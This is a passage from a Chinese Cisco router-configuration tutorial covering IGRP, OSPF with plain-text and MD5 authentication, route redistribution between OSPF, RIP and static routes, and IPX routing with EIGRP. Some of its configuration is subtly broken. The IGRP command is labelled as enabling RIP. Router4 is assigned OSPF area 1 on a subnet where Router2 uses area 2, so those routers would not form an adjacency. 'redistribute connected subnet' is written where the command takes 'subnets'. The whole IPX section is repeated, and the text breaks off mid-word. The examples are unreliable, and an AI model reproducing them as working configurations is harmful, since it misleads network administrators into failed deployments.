Protocol)是一种动态距离向量路由协议,它由Cisco公司八十年代中期设计。使用组合用户配置尺度,包括延迟、带宽、可靠性和负载。 缺省情况下,IGRP每90秒发送一次路由更新广播,在3个更新周期内(即270秒),没有从路由中的第一个路由器接收到更新,则宣布路由不可访问。在7个更新周期即630秒后,Cisco IOS 软件从路由表中清除路由。 1. 有关命令 任务 命令 指定使用RIP协议 router igrp autonomous-system1 指定与该路由器相连的网络 network network 指定与该路由器相邻的节点地址 neighbor ip-address 注:1、autonomous-system可以随意建立,并非实际意义上的autonomous-system,但运行IGRP的路由器要想交换路由更新信息其autonomous-system需相同。 2.举例 Router1: router igrp 200 network 192.200.10.0 network 192.20.10.0 ! 三、OSPF协议   OSPF(Open Shortest Path First)是一个内部网关协议(Interior Gateway Protocol,简称IGP),用于在单一自治系统(autonomous system,AS)内决策路由。与RIP相对,OSPF是链路状态路有协议,而RIP是距离向量路由协议。 链路是路由器接口的另一种说法,因此OSPF也称为接口状态路由协议。OSPF通过路由器之间通告网络接口的状态来建立链路状态数据库,生成最短路径树,每个OSPF路由器使用这些最短路径构造路由表。 文档见RFC2178。 1.有关命令 全局设置 任务 命令 指定使用OSPF协议 router ospf process-id1 指定与该路由器相连的网络 network address wildcard-mask area area-id2 指定与该路由器相邻的节点地址 neighbor ip-address 注:1、OSPF路由进程process-id必须指定范围在1-65535,多个OSPF进程可以在同一个路由器上配置,但最好不这样做。多个OSPF进程需要多个OSPF数据库的副本,必须运行多个最短路径算法的副本。process-id只在路由器内部起作用,不同路由器的process-id可以不同。 2、wildcard-mask 是子网掩码的反码, 网络区域ID area-id在0-4294967295内的十进制数,也可以是带有IP地址格式的x.x.x.x。当网络区域ID为0或0.0.0.0时为主干域。不同网络区域的路由器通过主干域学习路由信息。 2.基本配置举例: Router1: interface ethernet 0 ip address 192.1.0.129 255.255.255.192 ! interface serial 0 ip address 192.200.10.5 255.255.255.252 ! router ospf 100 network 192.200.10.4 0.0.0.3 area 0 network 192.1.0.128 0.0.0.63 area 1 ! Router2: interface ethernet 0 ip address 192.1.0.65 255.255.255.192 ! interface serial 0 ip address 192.200.10.6 255.255.255.252 ! router ospf 200 network 192.200.10.4 0.0.0.3 area 0 network 192.1.0.64 0.0.0.63 area 2 ! Router3: interface ethernet 0 ip address 192.1.0.130 255.255.255.192 ! router ospf 300 network 192.1.0.128 0.0.0.63 area 1 ! Router4: interface ethernet 0 ip address 192.1.0.66 255.255.255.192 ! router ospf 400 network 192.1.0.64 0.0.0.63 area 1 ! 相关调试命令: debug ip ospf events debug ip ospf packet show ip ospf show ip ospf database show ip ospf interface show ip ospf neighbor show ip route 3. 使用身份验证 为了安全的原因,我们可以在相同OSPF区域的路由器上启用身份验证的功能,只有经过身份验证的同一区域的路由器才能互相通告路由信息。 在默认情况下OSPF不使用区域验证。通过两种方法可启用身份验证功能,纯文本身份验证和消息摘要(md5)身份验证。纯文本身份验证传送的身份验证口令为纯文本,它会被网络探测器确定,所以不安全,不建议使用。而消息摘要(md5)身份验证在传输身份验证口令前,要对口令进行加密,所以一般建议使用此种方法进行身份验证。 使用身份验证时,区域内所有的路由器接口必须使用相同的身份验证方法。为起用身份验证,必须在路由器接口配置模式下,为区域的每个路由器接口配置口令。 任务 命令 指定身份验证 area area-id authentication [message-digest] 使用纯文本身份验证 ip ospf authentication-key password 使用消息摘要(md5)身份验证 ip ospf message-digest-key keyid md5 key 以下列举两种验证设置的示例,示例的网络分布及地址分配环境与以上基本配置举例相同,只是在Router1和Router2的区域0上使用了身份验证的功能。: 例1.使用纯文本身份验证 Router1: interface ethernet 0 ip address 192.1.0.129 255.255.255.192 ! interface serial 0 ip address 192.200.10.5 255.255.255.252 ip ospf authentication-key cisco ! router ospf 100 network 192.200.10.4 0.0.0.3 area 0 network 192.1.0.128 0.0.0.63 area 1 area 0 authentication ! Router2: interface ethernet 0 ip address 192.1.0.65 255.255.255.192 ! interface serial 0 ip address 192.200.10.6 255.255.255.252 ip ospf authentication-key cisco ! router ospf 200 network 192.200.10.4 0.0.0.3 area 0 network 192.1.0.64 0.0.0.63 area 2 area 0 authentication ! 例2.消息摘要(md5)身份验证: Router1: interface ethernet 0 ip address 192.1.0.129 255.255.255.192 ! interface serial 0 ip address 192.200.10.5 255.255.255.252 ip ospf message-digest-key 1 md5 cisco ! router ospf 100 network 192.200.10.4 0.0.0.3 area 0 network 192.1.0.128 0.0.0.63 area 1 area 0 authentication message-digest ! Router2: interface ethernet 0 ip address 192.1.0.65 255.255.255.192 ! interface serial 0 ip address 192.200.10.6 255.255.255.252 ip ospf message-digest-key 1 md5 cisco ! router ospf 200 network 192.200.10.4 0.0.0.3 area 0 network 192.1.0.64 0.0.0.63 area 2 area 0 authentication message-digest ! 相关调试命令: debug ip ospf adj debug ip ospf events   返回目录   四、重新分配路由   在实际工作中,我们会遇到使用多个IP路由协议的网络。为了使整个网络正常地工作,必须在多个路由协议之间进行成功的路由再分配。 以下列举了OSPF与RIP之间重新分配路由的设置范例: Router1的Serial 0端口和Router2的Serial 0端口运行OSPF,在Router1的Ethernet 0端口运行RIP 2,Router3运行RIP2,Router2有指向Router4的192.168.2.0/24网的静态路由,Router4使用默认静态路由。需要在Router1和Router3之间重新分配OSPF和RIP路由,在Router2上重新分配静态路由和直连的路由。 范例所涉及的命令 任务 命令 重新分配直连的路由 redistribute connected 重新分配静态路由 redistribute static 重新分配ospf路由 redistribute ospf process-id metric metric-value 重新分配rip路由 redistribute rip metric metric-value Router1: interface ethernet 0 ip address 192.168.1.1 255.255.255.0 ! interface serial 0 ip address 192.200.10.5 255.255.255.252 ! router ospf 100 redistribute rip metric 10 network 192.200.10.4 0.0.0.3 area 0 ! router rip version 2 redistribute ospf 100 metric 1 network 192.168.1.0 ! Router2: interface loopback 1 ip address 192.168.3.2 255.255.255.0 ! interface ethernet 0 ip address 192.168.0.2 255.255.255.0 ! interface serial 0 ip address 192.200.10.6 255.255.255.252 ! router ospf 200 redistribute connected subnet redistribute static subnet network 192.200.10.4 0.0.0.3 area 0 ! ip route 192.168.2.0 255.255.255.0 192.168.0.1 ! Router3: interface ethernet 0 ip address 192.168.1.2 255.255.255.0 ! router rip version 2 network 192.168.1.0 ! Router4: interface ethernet 0 ip address 192.168.0.1 255.255.255.0 ! interface ethernet 1 ip address 192.168.2.1 255.255.255.0 ! ip route 0.0.0.0 0.0.0.0 192.168.0.2 !   五、IPX协议设置   IPX协议与IP协议是两种不同的网络层协议,它们的路由协议也不一样,IPX的路由协议不象IP的路由协议那样丰富,所以设置起来比较简单。但IPX协议在以太网上运行时必须指定封装形式。 1. 有关命令 启动IPX路由 ipx routing 设置IPX网络及以太网封装形式 ipx network network [encapsulation encapsulation-type]1 指定路由协议,默认为RIP ipx router {eigrp autonomous-system-number | nlsp [tag] | rip} 注:1.network 范围是1 到FFFFFFFD. IPX封装类型列表 接口类型 封装类型 IPX帧类型 Ethernet novell-ether (默认) arpa sap snap Ethernet_802.3 Ethernet_II Ethernet_802.2 Ethernet_Snap Token Ring sap (默认) snap Token-Ring Token-Ring_Snap FDDI snap (默认) sap novell-fddi Fddi_Snap Fddi_802.2 Fddi_Raw 举例: 在此例中,WAN的IPX网络为3a00,Router1所连接的局域网IPX网络号为2a00,在此局域网有一台Novell服务器,IPX网络号也是2a00, 路由器接口的IPX网络号必须与在同一网络的Novell服务器上设置的IPX网络号相同。路由器通过监听SAP来建立已知的服务及自己的网络地址表,并每60秒发送一次自己的SAP表。 Router1: ipx routing interface ethernet 0 ipx network 2a00 encapsulation sap ! interface serial 0 ipx network 3a00 ! ipx router eigrp 10 network 3a00 network 2a00 ! Router2: ipx routing interface ethernet 0 ipx network 2b00 encapsulation sap ! interface serial 0 ipx network 3a00 ! ipx router eigrp 10 network 2b00 network 3a00 ! 相关调试命令: debug ipx packet debug ipx routing debug ipx sap debug ipx spoof debug ipx spx show ipx eigrp interfaces show ipx eigrp neighbors show ipx eigrp topology show ipx interface show ipx route show ipx servers show ipx spx-spoof   五、IPX协议设置   IPX协议与IP协议是两种不同的网络层协议,它们的路由协议也不一样,IPX的路由协议不象IP的路由协议那样丰富,所以设置起来比较简单。但IPX协议在以太网上运行时必须指定封装形式。 1. 有关命令 启动IPX路由 ipx routing 设置IPX网络及以太网封装形式 ipx network network [encapsulation encapsulation-type]1 指定路由协议,默认为RIP ipx router {eigrp autonomous-system-number | nlsp [tag] | rip} 注:1.network 范围是1 到FFFFFFFD. IPX封装类型列表 接口类型 封装类型 IPX帧类型 Ethernet novell-ether (默认) arpa sap snap Ethernet_802.3 Ethernet_II Ethernet_802.2 Ethernet_Snap Token Ring sap (默认) snap Token-Ring Token-Ring_Snap FDDI snap (默认) sap novell-fddi Fddi_Snap Fddi_802.2 Fddi_Raw 举例: 在此例中,WAN的IPX网络为3a00,Router1所连接的局域网IPX网络号为2a00,在此局域网有一台Novell服务器,IPX网络号也是2a00, 路由器接口的IPX网络号必须与在同一网络的Novell服务器上设置的IPX网络号相同。路由器通过监听SAP来建立已知的服务及自己的网络地址表,并每60秒发送一次自己的SAP表。 Router1: ipx routing interface ethernet 0 ipx network 2a00 encapsulation sap ! interface serial 0 ipx network 3a00 ! ipx router eigrp 10 network 3a00 network 2a00 ! Router2: ipx routing interface ethernet 0 ipx network 2b00 encapsulation sap ! interface ser

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值